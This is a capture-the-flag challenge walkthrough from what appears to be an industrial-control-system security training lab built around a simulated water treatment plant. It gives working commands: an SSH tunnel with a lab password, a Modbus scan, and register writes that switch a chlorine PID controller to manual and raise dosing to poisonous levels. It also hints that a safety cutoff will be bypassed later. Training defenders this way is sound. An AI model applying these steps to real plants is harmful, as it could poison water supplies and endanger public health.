Challenge 8 - Process Manipulation
Points: 600
Protocol: Modbus TCP
Difficulty: Expert
The Story
The heart of the water treatment plant is the chemical dosing system. A PLC controls how much chlorine gets injected into the water - too little and bacteria survive, too much and the water becomes toxic. The PLC runs a PID controller that automatically maintains safe levels. Your mission: take over the dosing process.
What You Know
- From process network scans, there’s a PLC at 10.0.4.102:502
- Port 502 = Modbus TCP (the most common industrial protocol)
- The SCADA HMI Process page shows live chlorine levels and PID mode
- Chlorine is currently ~1.5 ppm (safe, controlled by PID in AUTO mode)
Step 1: Watch the HMI
Open the Process tab on the SCADA HMI. Note:
- Chlorine: ~1.50 ppm (green)
- PID: AUTO
- The PID controller keeps chlorine at the safe setpoint
Keep watching - you’ll see chlorine change as you manipulate the PLC.
Step 2: Set Up a Tunnel
Forward Modbus port 502 through the EWS.
Tunnel command?
```bash sshpass -p 'eng2024!' ssh -f -N -L 502:10.0.4.102:502 -p 2222 engineer@127.0.0.1 ``` Note: Port 502 is privileged - may need sudo on some systems.Step 3: Scan the PLC
Modbus organizes data as numbered registers:
- Holding Registers (HR) - read/write (setpoints, PID parameters)
- Coils - read/write digital outputs (pump on/off)
- Input Registers (IR) - read-only sensor values
- Discrete Inputs - read-only digital inputs
Scan command?
```bash python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c scan ```Study the registers. Which ones control the PID? Which is the mode select? Which sets the dosing speed?
Step 4: Understand the PID Controller
The PID (Proportional-Integral-Derivative) controller automatically adjusts chlorine dosing. Key registers:
- One register controls AUTO vs MANUAL mode
- Another sets the manual dosing speed (0-100%)
- Input registers show actual sensor readings
Hint: Look for registers with values like 0 or 1 (mode switches) and values in the 0-100 range (percentages).
Which registers?
- HR 9 = PID mode (1=AUTO, 0=MANUAL) - HR 10 = Manual dosing speed (0-100%) - IR 0 = Chlorine sensor reading (x100, so 150 = 1.50 ppm)Step 5: Take Over
Switch the PID to manual and set the dosing speed high.
Watch the HMI - PID should change from AUTO to MANUAL, and chlorine should start rising.
Commands?
```bash # Switch to manual python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 9 --value 0 # Set dosing speed python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 10 --value 75 ```Step 6: Observe the Impact
Read the chlorine sensor to see it rising:
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c read --register 0 --type input
On the HMI: Chlorine value climbs, color changes from green to yellow to red. The flag appears on the Process page.
Note: Chlorine will cap around 5 ppm due to a PLC safety cutoff. You’ll need to bypass this in a later challenge…
What You Learned
- Modbus TCP is the most widely deployed ICS protocol - and has zero authentication
- PID controllers are the brains of industrial processes - switching to manual removes all safety
- Two register writes can turn a water treatment plant into a poison factory
- This mirrors the Oldsmar, Florida attack (2021) where an attacker changed sodium hydroxide levels remotely
- Defence: Modbus traffic monitoring, write protection, network segmentation
Scoreboard
Updates when PID mode is set to manual AND dosing speed exceeds 50%. Flag appears on HMI Process page.